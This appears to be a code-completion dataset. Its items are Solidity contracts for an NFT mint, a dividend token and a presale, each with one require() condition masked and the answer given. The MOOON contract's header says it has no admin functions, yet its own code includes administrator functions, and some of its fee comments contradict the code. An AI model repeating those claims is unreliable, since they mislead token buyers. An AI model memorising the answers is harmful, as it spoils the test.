function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
| _voteFactory.checkAddress("nest.v3.tokenAbonus")==address(msg.sender),"No authority" | 390,850 | _voteFactory.checkAddress("nest.v3.tokenAbonus")==address(msg.sender) |
"Exceeds maximum BlootStars supply" | pragma solidity ^0.8.0;
/// SPDX-License-Identifier: UNLICENSED
contract BlootStars is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 private constant MAX_TOTAL = 8888;
uint256 private constant MAX_STANDARD = 6388;
uint256 private constant MAX_ELITE = 2000;
uint256 private constant MAX_FOUNDER = 500;
uint256 private constant STANDARD_DONATION = 0.05 ether;
uint256 private constant ELITE_DONATION = 0.2 ether;
uint256 private constant FOUNDER_DONATION= 0.5 ether;
address private constant WITHDRAWAL_ADDRESS = 0x0473C4C77a6e939b7ec4cd540F9789B0133E3927;
mapping(address => bool) private eliteMap;
mapping(address => bool) private founderMap;
address[] private founderList;
address[] private eliteList;
uint256 private freeMintCounter = 0;
string _baseTokenURI;
bool public _paused = true;
constructor(string memory baseURI) ERC721("BlootStars", "BLOOTSTARS")
{
}
function mint() public payable
{
uint256 supply = totalSupply();
require( !_paused, "Minting is paused" );
require(<FILL_ME>)
require(msg.value >= STANDARD_DONATION, "Minimum value to mint isn't met!");
if (msg.value >= FOUNDER_DONATION)
{
require(founderList.length + 1 <= MAX_FOUNDER, "All Founder slots are taken");
founderMap[msg.sender] = true;
founderList.push(msg.sender);
_safeMint(msg.sender, supply + 1);
} else if (msg.value >= ELITE_DONATION )
{
require(eliteList.length + 1 <= MAX_ELITE, "All Elite slots are taken");
eliteMap[msg.sender] = true;
eliteList.push(msg.sender);
_safeMint(msg.sender, supply + 1);
} else if (msg.value >= STANDARD_DONATION)
{
require(freeMintCounter <= MAX_STANDARD, "No more standard mints available");
freeMintCounter++;
_safeMint(msg.sender, supply + 1);
}
}
function isElite(address owner) public view returns (bool) {
}
function isFounder(address owner) public view returns (bool) {
}
function getAllElite() public view returns (address[] memory) {
}
function getAllFounder() public view returns (address[] memory) {
}
function getEliteCount() public view returns (uint) {
}
function getFounderCount() public view returns (uint) {
}
function getFreeMintCount() public view returns (uint) {
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function pause(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| supply+1<=MAX_TOTAL,"Exceeds maximum BlootStars supply" | 390,894 | supply+1<=MAX_TOTAL |
"All Founder slots are taken" | pragma solidity ^0.8.0;
/// SPDX-License-Identifier: UNLICENSED
contract BlootStars is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 private constant MAX_TOTAL = 8888;
uint256 private constant MAX_STANDARD = 6388;
uint256 private constant MAX_ELITE = 2000;
uint256 private constant MAX_FOUNDER = 500;
uint256 private constant STANDARD_DONATION = 0.05 ether;
uint256 private constant ELITE_DONATION = 0.2 ether;
uint256 private constant FOUNDER_DONATION= 0.5 ether;
address private constant WITHDRAWAL_ADDRESS = 0x0473C4C77a6e939b7ec4cd540F9789B0133E3927;
mapping(address => bool) private eliteMap;
mapping(address => bool) private founderMap;
address[] private founderList;
address[] private eliteList;
uint256 private freeMintCounter = 0;
string _baseTokenURI;
bool public _paused = true;
constructor(string memory baseURI) ERC721("BlootStars", "BLOOTSTARS")
{
}
function mint() public payable
{
uint256 supply = totalSupply();
require( !_paused, "Minting is paused" );
require(supply + 1 <= MAX_TOTAL, "Exceeds maximum BlootStars supply");
require(msg.value >= STANDARD_DONATION, "Minimum value to mint isn't met!");
if (msg.value >= FOUNDER_DONATION)
{
require(<FILL_ME>)
founderMap[msg.sender] = true;
founderList.push(msg.sender);
_safeMint(msg.sender, supply + 1);
} else if (msg.value >= ELITE_DONATION )
{
require(eliteList.length + 1 <= MAX_ELITE, "All Elite slots are taken");
eliteMap[msg.sender] = true;
eliteList.push(msg.sender);
_safeMint(msg.sender, supply + 1);
} else if (msg.value >= STANDARD_DONATION)
{
require(freeMintCounter <= MAX_STANDARD, "No more standard mints available");
freeMintCounter++;
_safeMint(msg.sender, supply + 1);
}
}
function isElite(address owner) public view returns (bool) {
}
function isFounder(address owner) public view returns (bool) {
}
function getAllElite() public view returns (address[] memory) {
}
function getAllFounder() public view returns (address[] memory) {
}
function getEliteCount() public view returns (uint) {
}
function getFounderCount() public view returns (uint) {
}
function getFreeMintCount() public view returns (uint) {
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function pause(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| founderList.length+1<=MAX_FOUNDER,"All Founder slots are taken" | 390,894 | founderList.length+1<=MAX_FOUNDER |
"All Elite slots are taken" | pragma solidity ^0.8.0;
/// SPDX-License-Identifier: UNLICENSED
contract BlootStars is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 private constant MAX_TOTAL = 8888;
uint256 private constant MAX_STANDARD = 6388;
uint256 private constant MAX_ELITE = 2000;
uint256 private constant MAX_FOUNDER = 500;
uint256 private constant STANDARD_DONATION = 0.05 ether;
uint256 private constant ELITE_DONATION = 0.2 ether;
uint256 private constant FOUNDER_DONATION= 0.5 ether;
address private constant WITHDRAWAL_ADDRESS = 0x0473C4C77a6e939b7ec4cd540F9789B0133E3927;
mapping(address => bool) private eliteMap;
mapping(address => bool) private founderMap;
address[] private founderList;
address[] private eliteList;
uint256 private freeMintCounter = 0;
string _baseTokenURI;
bool public _paused = true;
constructor(string memory baseURI) ERC721("BlootStars", "BLOOTSTARS")
{
}
function mint() public payable
{
uint256 supply = totalSupply();
require( !_paused, "Minting is paused" );
require(supply + 1 <= MAX_TOTAL, "Exceeds maximum BlootStars supply");
require(msg.value >= STANDARD_DONATION, "Minimum value to mint isn't met!");
if (msg.value >= FOUNDER_DONATION)
{
require(founderList.length + 1 <= MAX_FOUNDER, "All Founder slots are taken");
founderMap[msg.sender] = true;
founderList.push(msg.sender);
_safeMint(msg.sender, supply + 1);
} else if (msg.value >= ELITE_DONATION )
{
require(<FILL_ME>)
eliteMap[msg.sender] = true;
eliteList.push(msg.sender);
_safeMint(msg.sender, supply + 1);
} else if (msg.value >= STANDARD_DONATION)
{
require(freeMintCounter <= MAX_STANDARD, "No more standard mints available");
freeMintCounter++;
_safeMint(msg.sender, supply + 1);
}
}
function isElite(address owner) public view returns (bool) {
}
function isFounder(address owner) public view returns (bool) {
}
function getAllElite() public view returns (address[] memory) {
}
function getAllFounder() public view returns (address[] memory) {
}
function getEliteCount() public view returns (uint) {
}
function getFounderCount() public view returns (uint) {
}
function getFreeMintCount() public view returns (uint) {
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function pause(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| eliteList.length+1<=MAX_ELITE,"All Elite slots are taken" | 390,894 | eliteList.length+1<=MAX_ELITE |
null | pragma solidity ^0.8.0;
/// SPDX-License-Identifier: UNLICENSED
contract BlootStars is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 private constant MAX_TOTAL = 8888;
uint256 private constant MAX_STANDARD = 6388;
uint256 private constant MAX_ELITE = 2000;
uint256 private constant MAX_FOUNDER = 500;
uint256 private constant STANDARD_DONATION = 0.05 ether;
uint256 private constant ELITE_DONATION = 0.2 ether;
uint256 private constant FOUNDER_DONATION= 0.5 ether;
address private constant WITHDRAWAL_ADDRESS = 0x0473C4C77a6e939b7ec4cd540F9789B0133E3927;
mapping(address => bool) private eliteMap;
mapping(address => bool) private founderMap;
address[] private founderList;
address[] private eliteList;
uint256 private freeMintCounter = 0;
string _baseTokenURI;
bool public _paused = true;
constructor(string memory baseURI) ERC721("BlootStars", "BLOOTSTARS")
{
}
function mint() public payable
{
}
function isElite(address owner) public view returns (bool) {
}
function isFounder(address owner) public view returns (bool) {
}
function getAllElite() public view returns (address[] memory) {
}
function getAllFounder() public view returns (address[] memory) {
}
function getEliteCount() public view returns (uint) {
}
function getFounderCount() public view returns (uint) {
}
function getFreeMintCount() public view returns (uint) {
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function pause(bool val) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
uint256 bal = address(this).balance;
require(<FILL_ME>)
}
}
| payable(WITHDRAWAL_ADDRESS).send(bal) | 390,894 | payable(WITHDRAWAL_ADDRESS).send(bal) |
null | /*
.
▄▄▄▄███▄▄▄▄ ▄██████▄ ▄██████▄ ▄██████▄ ███▄▄▄▄
▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
▀█ ███ █▀ ▀██████▀ ▀██████▀ ▀██████▀ ▀█ █▀
MOOON.FUND
Features:
- MOOON holders get 33% from every buy event and 85%-33% from every sell event
- Anti-dump: selling fee gradually decreases from 85% at launch and 33% at the end of day 1.
- Referral bonus: 11.1% from buy-in amounts
- 100% open and secure
- Immutable: no way for anyone including devs to modify the contract or exit-scam in any way
- This contract will work forever, no kill switch, no admin functions
website: https://mooon.fund
*/
pragma solidity ^0.4.26;
contract MOOON {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
}
// only people with profits
modifier onlyStronghands() {
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
}
//
// prevents contracts from interacting with MOOON
//
modifier isHuman() {
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "MOOON.FUND";
string public symbol = "MOOON";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 33; // 15% to enter
uint8 constant internal exitFeeHigh_ = 85; // 85% to exit (on the first day)
uint8 constant internal exitFeeLow_ = 33; // 25% to exit (on the 30th day)
uint8 constant internal transferFee_ = 10; // 10% transfer fee
uint8 constant internal refferalFee_ = 33; // 33% from enter fee divs or 5% for each invite
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 constant public launchTime = 1571095800;
// proof of stake (defaults at 25 tokens)
uint256 public stakingRequirement = 25e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 2 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators_;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = true;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
}
/**
* Transfer tokens from the caller to a new holder.
* Remember, there's a 10% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
// ( administrator still can distribute tokens to ambassadors and promoters)
require(<FILL_ME>)
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
// Ambassadors and promoters get tokens directly from developers with minimal fee
if (now < launchTime) _tokenFee = 1000000000000000000;
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
isHuman
internal
returns(uint256)
{
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
}
/**
* Calculate the current exit fee.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function exitFee(uint256 _amount) internal view returns (uint256) {
}
function sqrt(uint x) internal pure returns (uint y) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
| (!onlyAmbassadors||administrators_[_customerAddress])&&_amountOfTokens<=tokenBalanceLedger_[_customerAddress] | 390,898 | (!onlyAmbassadors||administrators_[_customerAddress])&&_amountOfTokens<=tokenBalanceLedger_[_customerAddress] |
null | /*
*****************************************
* BORG Pre-sale Contract v1.0 ***********
*****************************************
* BORG v1.1 - Resistance Is Futile ******
*****************************************
* https://Assimilate.eth.link ***********
* https://t.me/BORG_ResistanceIsFutile **
*****************************************
*/
pragma solidity ^0.7.0;
//SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function unPauseTransferForever() external;
function uniswapV2Pair() external returns(address);
}
interface IUNIv2 {
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
interface IUnicrypt {
event onDeposit(address, uint256, uint256);
event onWithdraw(address, uint256);
function depositToken(address token, uint256 amount, uint256 unlock_date) external payable;
function withdrawToken(address token, uint256 amount) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
contract BorgPresale is Context, ReentrancyGuard {
using SafeMath for uint;
IERC20 public ABS;
address public _burnPool = 0x000000000000000000000000000000000000dEaD;
IUNIv2 constant uniswap = IUNIv2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory constant uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUnicrypt constant unicrypt = IUnicrypt(0x17e00383A843A9922bCA3B280C0ADE9f8BA48449);
uint public tokensBought;
bool public isStopped = false;
bool public teamClaimed = false;
bool public isRefundEnabled = false;
bool public presaleStarted = false;
bool justTrigger = false;
uint constant teamTokens = 77777 ether;
address payable owner;
address payable constant owner1 = 0xDe87EA52cD67a32eC71d1A9817856f532b3145bf; // BORG Marketing
address payable constant owner2 = 0x635bF673DB15bd80846ed9eD0091D7B308b86D9d; // BORG Treasury
address payable constant owner3 = 0x6fE00946Dfa366360b8BB02a68d5536d8D92d488; // BORG Development Fund
address public pool;
uint256 public liquidityUnlock;
uint256 public ethSent;
uint256 constant tokensPerETH = 777;
uint256 public lockedLiquidityAmount;
uint256 public timeTowithdrawTeamTokens;
uint256 public refundTime;
mapping(address => uint) ethSpent;
modifier onlyOwner() {
}
constructor() {
}
receive() external payable {
}
function EMERGENCY_ALLOW_REFUNDS() external onlyOwner nonReentrant {
}
function getRefund() external nonReentrant {
require(msg.sender == tx.origin);
require(<FILL_ME>)
// Refund should be enabled by the owner OR 7 days passed
require(isRefundEnabled || block.timestamp >= refundTime,"Cannot refund");
address payable user = msg.sender;
uint256 amount = ethSpent[user];
ethSpent[user] = 0;
user.transfer(amount);
}
function lockWithUnicrypt() external onlyOwner {
}
function withdrawFromUnicrypt(uint256 amount) external onlyOwner {
}
function withdrawTeamTokens() external onlyOwner nonReentrant {
}
function setBORG(IERC20 addr) external onlyOwner nonReentrant {
}
function startPresale() external onlyOwner {
}
function pausePresale() external onlyOwner {
}
function buyBORGTokens() public payable nonReentrant {
}
function userEthSpenttInPresale(address user) external view returns(uint){
}
function claimTeamFeeAndAddLiquidity() external onlyOwner {
}
function addLiquidity() internal {
}
function withdrawLockedTokensAfter1Year(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
| !justTrigger | 391,024 | !justTrigger |
"Cannot refund" | /*
*****************************************
* BORG Pre-sale Contract v1.0 ***********
*****************************************
* BORG v1.1 - Resistance Is Futile ******
*****************************************
* https://Assimilate.eth.link ***********
* https://t.me/BORG_ResistanceIsFutile **
*****************************************
*/
pragma solidity ^0.7.0;
//SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function unPauseTransferForever() external;
function uniswapV2Pair() external returns(address);
}
interface IUNIv2 {
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
interface IUnicrypt {
event onDeposit(address, uint256, uint256);
event onWithdraw(address, uint256);
function depositToken(address token, uint256 amount, uint256 unlock_date) external payable;
function withdrawToken(address token, uint256 amount) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
contract BorgPresale is Context, ReentrancyGuard {
using SafeMath for uint;
IERC20 public ABS;
address public _burnPool = 0x000000000000000000000000000000000000dEaD;
IUNIv2 constant uniswap = IUNIv2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory constant uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUnicrypt constant unicrypt = IUnicrypt(0x17e00383A843A9922bCA3B280C0ADE9f8BA48449);
uint public tokensBought;
bool public isStopped = false;
bool public teamClaimed = false;
bool public isRefundEnabled = false;
bool public presaleStarted = false;
bool justTrigger = false;
uint constant teamTokens = 77777 ether;
address payable owner;
address payable constant owner1 = 0xDe87EA52cD67a32eC71d1A9817856f532b3145bf; // BORG Marketing
address payable constant owner2 = 0x635bF673DB15bd80846ed9eD0091D7B308b86D9d; // BORG Treasury
address payable constant owner3 = 0x6fE00946Dfa366360b8BB02a68d5536d8D92d488; // BORG Development Fund
address public pool;
uint256 public liquidityUnlock;
uint256 public ethSent;
uint256 constant tokensPerETH = 777;
uint256 public lockedLiquidityAmount;
uint256 public timeTowithdrawTeamTokens;
uint256 public refundTime;
mapping(address => uint) ethSpent;
modifier onlyOwner() {
}
constructor() {
}
receive() external payable {
}
function EMERGENCY_ALLOW_REFUNDS() external onlyOwner nonReentrant {
}
function getRefund() external nonReentrant {
require(msg.sender == tx.origin);
require(!justTrigger);
// Refund should be enabled by the owner OR 7 days passed
require(<FILL_ME>)
address payable user = msg.sender;
uint256 amount = ethSpent[user];
ethSpent[user] = 0;
user.transfer(amount);
}
function lockWithUnicrypt() external onlyOwner {
}
function withdrawFromUnicrypt(uint256 amount) external onlyOwner {
}
function withdrawTeamTokens() external onlyOwner nonReentrant {
}
function setBORG(IERC20 addr) external onlyOwner nonReentrant {
}
function startPresale() external onlyOwner {
}
